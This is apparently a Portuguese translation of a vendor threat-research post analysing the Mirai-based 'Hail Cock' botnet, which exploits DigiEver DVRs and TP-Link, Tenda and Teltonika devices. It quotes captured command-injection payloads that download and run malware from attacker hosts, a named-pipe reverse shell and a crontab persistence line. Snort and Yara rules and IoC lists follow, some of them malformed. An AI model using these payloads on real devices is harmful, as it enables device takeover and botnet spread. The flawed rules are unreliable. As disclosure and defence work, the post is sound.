DigiEver Fix That IoT Thing!
Resumo executivo
Uma vulnerabilidade nos DVRs DigiEver DS-2105 Pro está sendo explorada para espalhar malware.
A equipe de Pesquisa de Inteligência de Segurança da Akamai (SIRT) notou essa atividade em seus honeypots em 18 de novembro de 2024.
A vulnerabilidade foi originalmente descoberta por Ta-Lun Yen e um identificador CVE foi solicitado pela equipe SIRT da Akamai.
O malware é uma variante do Mirai que foi modificada para usar algoritmos de criptografia aprimorados.
Incluímos uma lista de indicadores de comprometimento (IoCs) neste post do blog para auxiliar na defesa contra essa ameaça.
AVISO DE CONTEÚDO: os atores de ameaça responsáveis por este malware usam nomes de conteúdo que podem ser considerados ofensivos por algumas pessoas. Nós não os redigimos na tentativa de aumentar a detecção, já que essa campanha está atualmente em circulação.
Introdução e descoberta
Em meados de novembro de 2024, a SIRT da Akamai descobriu um aumento na atividade que visou o URI /cgi-bin/cgi_main.cgi em nossa rede global de honeyspots. Essa atividade parece ser parte de uma campanha recente e contínua de malware baseada no Mirai, que remonta pelo menos a outubro de 2024.
A vulnerabilidade ainda não possui um identificador CVE, mas parece ter sido originalmente descoberta e publicada por TA-LUN Yen da TXOne Research. Na publicação, ele atribuiu essa vulnerabilidade de execução remota de código (RCE) a vários dispositivos DVR, incluindo o modelo DigiEver DS-2105 Pro. Nossos analistas determinaram que as tentativas de exploração que observamos estavam alinhadas com essa pesquisa de vulnerabilidade publicada.
Uma investigação adicional sobre essa campanha revelou uma nova botnet que se autodenomina “Hail Cock Botnet”, que está ativa desde pelo menos setembro de 2024. Usando uma variante do malware Mirai que incorpora os algoritmos de criptografia ChaCha20 e XOR, foi observado que ele está comprometendo dispositivos vulneráveis da Internet das Coisas (IoT) no ambiente real, como o DVR DigiEver e dispositivos TP-Link, através da CVE-2023-1389.
A vulnerabilidade
A vulnerabilidade do DVR DigiEver foi descoberta pelo pesquisador da TXOne após investigar alguns intervalos de endereços IP expostos durante testes de penetração. Através das consultas no Shodan, ele conseguiu identificar muitos dos endereços IP como dispositivos historicamente vulneráveis, como DVRs. Ele conseguiu emular o firmware do DVR DigiEver e percebeu que /cgi-bin/cgi_main.cgi era um dos pontos de extremidade CGI (Figura 1).
Por meio desse ponto de extremidade, o pesquisador conseguiu alcançar a RCE (Figura 2).
Exploração ativa
A equipe SIRT da Akamai notou que essa URI começou a ser alvo de um agente de ameaça desconhecido em 18 de novembro de 2024. Conseguimos combinar a sintaxe do payload que observamos em nossos honeypots com o prova de conceito (PoC) da publicação de pesquisa (Figura 3).
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&ntp1=time.stdtime.gov.tw&ntp2=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
Fig. 3: Payload visando a vulnerabilidade RCE do DigiEver (URL decodificado)
A vulnerabilidade parece permitir a injeção de comandos como um argumento no parâmetro ntp. Neste exemplo, ela está se conectando a um servidor remoto de hospedagem de malware para baixar malware baseado no Mirai. Essas sessões chegam como solicitações HTTP POST pela porta 80, com “**Endereço IP**:80/cfg_system_time.htm” como o cabeçalho HTTP Referer.
Além da exploração da RCE do DigiEver, também vemos essa botnet visando outras vulnerabilidades, como a CVE-2023-1389, que afeta dispositivos TP-Link (Figura 4).
GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.202.35[.]24/l+-O-|+sh`) HTTP/1.1
Host: localhost:80
User-Agent: Go-http-client/1.1
Fig. 4: Payload visando a CVE-2023-1389
A botnet explora essa vulnerabilidade de injeção de comandos no ponto de extremidade /cgi-bin/luci;stok=/locale na interface de gerenciamento web da TP-Link para baixar e executar um script shell malicioso. Este script, por sua vez, baixa o payload do malware Mirai e o executa no sistema-alvo (Figura 5).
A botnet também visa a vulnerabilidade de injeção de comando remoto Tenda HG6 v3.3.0 (Figura 6).
/boaform/admin/formTracert target_addr=;`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|wget+http://45.202.35[.]24/b+-O-|+sh+>/tmp/f`&waninf=1_INTERNET_R_VID_
Fig. 6: Payload visando a Tenda HG6
Além dessas vulnerabilidades, observamos essa botnet visando outras, como a CVE-2018-17532,que afeta os roteadores Teltonika RUT9XX. A exploração faz o download e executa um script shell por meio de uma solicitação wget, que, por sua vez, faz uma solicitação adicional para baixar e executar o malware na máquina-alvo (Figura 7).
O malware
As amostras de malware que identificamos eram variantes baseadas no Mirai, distribuídas em uma variedade de arquiteturas, incluindo x86, ARM, MIPS e outras. Um aspecto particularmente interessante sobre essas amostras foi o uso tanto de XOR quanto de ChaCha20 para seu algoritmo de descriptografia.
Algumas das strings observadas na seção de análise dinâmica, como a saída para o console de “you are now apart of hail cock botnet”, não podiam ser vistas na seção de strings legíveis por humanos do malware, nem nas strings decodificadas por XOR.
Descobrimos que um pesquisador de segurança independente no Japão publicou algumas descobertas interessantes sobre esse malware. Ele descobriu que o malware estava descriptografando essa string e exibindo-a no console, com a string armazenada no segmento de dados do binário (Figura 8).
Verificar onde uma string é atribuída àquela saída mostra a função de descriptografia da string (FUN_00408500) e a localização da string (DAT_005166a0) como argumento. Após a inicialização, a próxima função é usada para processar a string criptografada do segundo argumento e armazená-la na memória (Figura 9).
Ao examinar a função "FUN_00404960," o pesquisador descobriu que seu passo final envolve uma operação XOR. Em seções onde constantes são utilizadas e convertidas em código ASCII, a função retorna a string "expand 32-byte k." Essa string é uma constante conhecida em algoritmos criptográficos como Salsa20 e ChaCha20, indicando que a função rotulada como "FUN_00404960" é responsável pela descriptografia (Figura 10).
Embora o uso de métodos de descriptografia complexos não seja novidade, isso sugere táticas, técnicas e procedimentos em evolução entre os operadores de botnets baseadas no Mirai. Isso é particularmente notável porque muitas botnets baseadas no Mirai ainda dependem da lógica original de ofuscação de strings do código reciclado que foi incluído no lançamento original do código-fonte do malware Mirai.
A partir da análise estática de strings, o malware utiliza muitas credenciais padrão ou comuns para diversos dispositivos, a fim de espalhar a botnet para outros hosts. Muitos novos pares de credenciais foram adicionados às originais que acompanham o Mirai, incluindo a string “telecomadmin”, por exemplo, que é o nome de usuário padrão para o kit de terminação de fibra Huawei ONT HG8245H5 e a senha padrão para alguns roteadores que utilizam o chipset Realtek.
Detalhes da sandbox
Ao executar as amostras de malware em ambientes de sandbox dinâmicos, conseguimos identificar IoCs adicionais e strings notáveis do malware. Um comportamento que observamos foi a criação de um job cron para baixar e executar um script shell do domínio “hailcocks[.]ru” a fim de manter a persistência (Figura 11). Ele tentará baixar o arquivo “wget.sh” do mesmo servidor usando curl e/ou wget para garantir a compatibilidade caso um deles não esteja instalado no host comprometido.
sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks[.]ru/wget.sh; curl --output wget.sh http://hailcocks[.]ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
Fig. 11: Persistência via crontab
Após a execução, o malware se conectou a uma grande variedade de hosts, consistente com o típico comportamento de força bruta de Telnet e SSH Mirai. Ele também se conecta a um único endereço IP separado, com registros A resolvendo para o domínio “kingstonwikkerink[.]dyn” para comunicação de comando e controle (C2).
Além disso, os hosts comprometidos com este malware verão uma string única impressa no console durante a execução do malware. Versões mais antigas do malware imprimem a string “you are now apart of hail cock botnet” (Figura 12). Em vez disso, as versões mais recentes do malware imprimem a string “I just wanna look after my cats, man.” no console (Figura 13).
Conclusão
Os cibercriminosos têm explorado consistentemente o legado do malware Mirai para perpetuar campanhas de botnets ao longo dos anos, e a nova botnet Hail Cock não é exceção. Um dos métodos mais fáceis de os atores de ameaça comprometerem novos hosts é visar firmware desatualizado ou hardware obsoleto. O DigiEver DS-2105 Pro, que tem aproximadamente 10 anos, é um exemplo. Os fabricantes de hardware nem sempre emitem patches para dispositivos aposentados, e o próprio fabricante pode, por vezes, estar extinto. Portanto, em circunstâncias nas quais os patches de segurança não estão disponíveis e são improváveis de ser lançados, recomendamos a atualização de dispositivos vulneráveis para um modelo mais recente.
IoCs
Incluímos uma lista de IoCs, bem como regras Snort e Yara, para auxiliar os defensores.
Regras Snort para IoCs de rede
Regras Snort para IPs de C2
alert tcp $HOME_NET any -> 154.216.17.126 any (msg:"C2 Comms for Hail Cock Botnet to 154.216.17.126"; flow:to_server,established;)
alert tcp $HOME_NET any -> 154.213.187.50 any (msg:"C2 Comms for Hail Cock Botnet to 154.213.187.50"; flow:to_server,established;)
alert tcp $HOME_NET any -> 86.107.100.80 any (msg:"C2 Comms for Hail Cock Botnet to 86.107.100.80"; flow:to_server,established;)
alert tcp $HOME_NET any -> 213.182.204.57 any (msg:"C2 Comms for Hail Cock Botnet to 213.182.204.57"; flow:to_server,established;)
alert tcp $HOME_NET any -> 195.133.92.51 any (msg:"C2 Comms for Hail Cock Botnet to 195.133.92.51"; flow:to_server,established;)
alert tcp $HOME_NET any -> 185.82.200.181 any (msg:"C2 Comms for Hail Cock Botnet to 185.82.200.181"; flow:to_server,established;)
alert tcp $HOME_NET any -> 81.29.149.178 any (msg:"C2 Comms for Hail Cock Botnet to 81.29.149.178"; flow:to_server,established;)
alert tcp $HOME_NET any -> 88.151.195.22 any (msg:"C2 Comms for Hail Cock Botnet to 88.151.195.22"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.218.232 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.218.232"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.238.18 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.238.18"; flow:to_server,established;)
alert tcp $HOME_NET any -> 31.13.248.89 any (msg:"C2 Comms for Hail Cock Botnet to 31.13.248.89"; flow:to_server,established;)
alert tcp $HOME_NET any -> 193.233.193.45 any (msg:"C2 Comms for Hail Cock Botnet to 193.233.193.45"; flow:to_server,established;)
alert tcp $HOME_NET any -> 194.87.198.29 any (msg:"C2 Comms for Hail Cock Botnet to 194.87.198.29"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.91 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.91"; flow:to_server,established;)
alert tcp $HOME_NET any -> 104.37.188.76 any (msg:"C2 Comms for Hail Cock Botnet to 104.37.188.76"; flow:to_server,established;)
alert tcp $HOME_NET any -> 95.214.53.205 any (msg:"C2 Comms for Hail Cock Botnet to 95.214.53.205"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.35.104.31 any (msg:"C2 Comms for Hail Cock Botnet to 5.35.104.31"; flow:to_server,established;)
alert tcp $HOME_NET any -> 149.50.106.25 any (msg:"C2 Comms for Hail Cock Botnet to 149.50.106.25"; flow:to_server,established;)
alert tcp $HOME_NET any -> 141.98.11.79 any (msg:"C2 Comms for Hail Cock Botnet to 141.98.11.79"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.24 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.24"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.39.254.71 any (msg:"C2 Comms for Hail Cock Botnet to 5.39.254.71"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.126.50.101 any (msg:"C2 Comms for Hail Cock Botnet to 45.126.50.101"; flow:to_server,established;)
Regras Snort para detecção de resolução de domínio C2
alert tcp $HOME_NET any -> hailcocks.ru any (msg:"BLOCK Connection to malicious domain - hailcocks.ru"; flow:to_server,established; sid:1000010; rev:1;)
alert tcp $HOME_NET any -> kingstonwikkerink.dyn any (msg:"BLOCK Connection to malicious domain - kingstonwikkerink.dyn"; flow:to_server,established; sid:1000011; rev:1;)
alert tcp $HOME_NET any -> catvision.dyn any (msg:"BLOCK Connection to malicious domain - catvision.dyn"; flow:to_server,established; sid:1000012; rev:1;)
alert tcp $HOME_NET any -> hikvision.geek any (msg:"BLOCK Connection to malicious domain - hikvision.geek"; flow:to_server,established; sid:1000013; rev:1;)
alert tcp $HOME_NET any -> shitrocket.dyn any (msg:"BLOCK Connection to malicious domain - shitrocket.dyn"; flow:to_server,established; sid:1000014; rev:1;)
alert tcp $HOME_NET any -> catlovingfools.geek any (msg:"BLOCK Connection to malicious domain - catlovingfools.geek"; flow:to_server,established; sid:1000015; rev:1;)
Regras Yara para amostras de malware
rule hailcock_malware
{
strings:
$someoffdeeznuts = "someoffdeeznuts"
$ip_address = { 154.213.187.50 }
condition:
any of them
}
rule malware_hashes
{
strings:
$hash_1 = "3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615"
$hash_2 = "0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad"
$hash_3 = "b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af"
$hash_4 = "dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02"
$hash_5 = "a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41"
condition:
any of them
}
rule malicious_domains
{
strings:
$hailcocks = "hailcocks.ru"
$kingstonwikkerink = "kingstonwikkerink.dyn"
$catvision = "catvision.dyn"
$catloving = "catlovingfools.geek"
$hikvision = "hikvision.dyn"
$shitrocket = "shitrocket.dyn"
condition:
any of them
}
Endereços IPv4 da infraestrutura histórica
154.216.17.126
154.213.187.50
86.107.100.80
213.182.204.57
195.133.92.51
185.82.200.181
81.29.149.178
88.151.195.22
91149218232
91.149.238.18
31.13.248.89
193.233.193.45
194.87.198.29
45.202.35.91
104.37.188.76
95.214.53.205
5.35.104.31
149.50.106.25
141.98.11.79
45.202.35.24
5.39.254.71
45.125.66.90
91.132.50.181
Domínios para pontos de extremidade de distribuição de malware e C2
hailcocks[.]ru
kingstonwikkerink[.]dyn
catvision[.]dyn
shitrocket[.]dyn
catlovingfools[.]geek
hikvision[.]geek
SHA256 hashes
3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af
dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02
a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41
31813bb69e10b636c785358ca09d7f91979454dc6fc001f750bf03ad8bde8fe5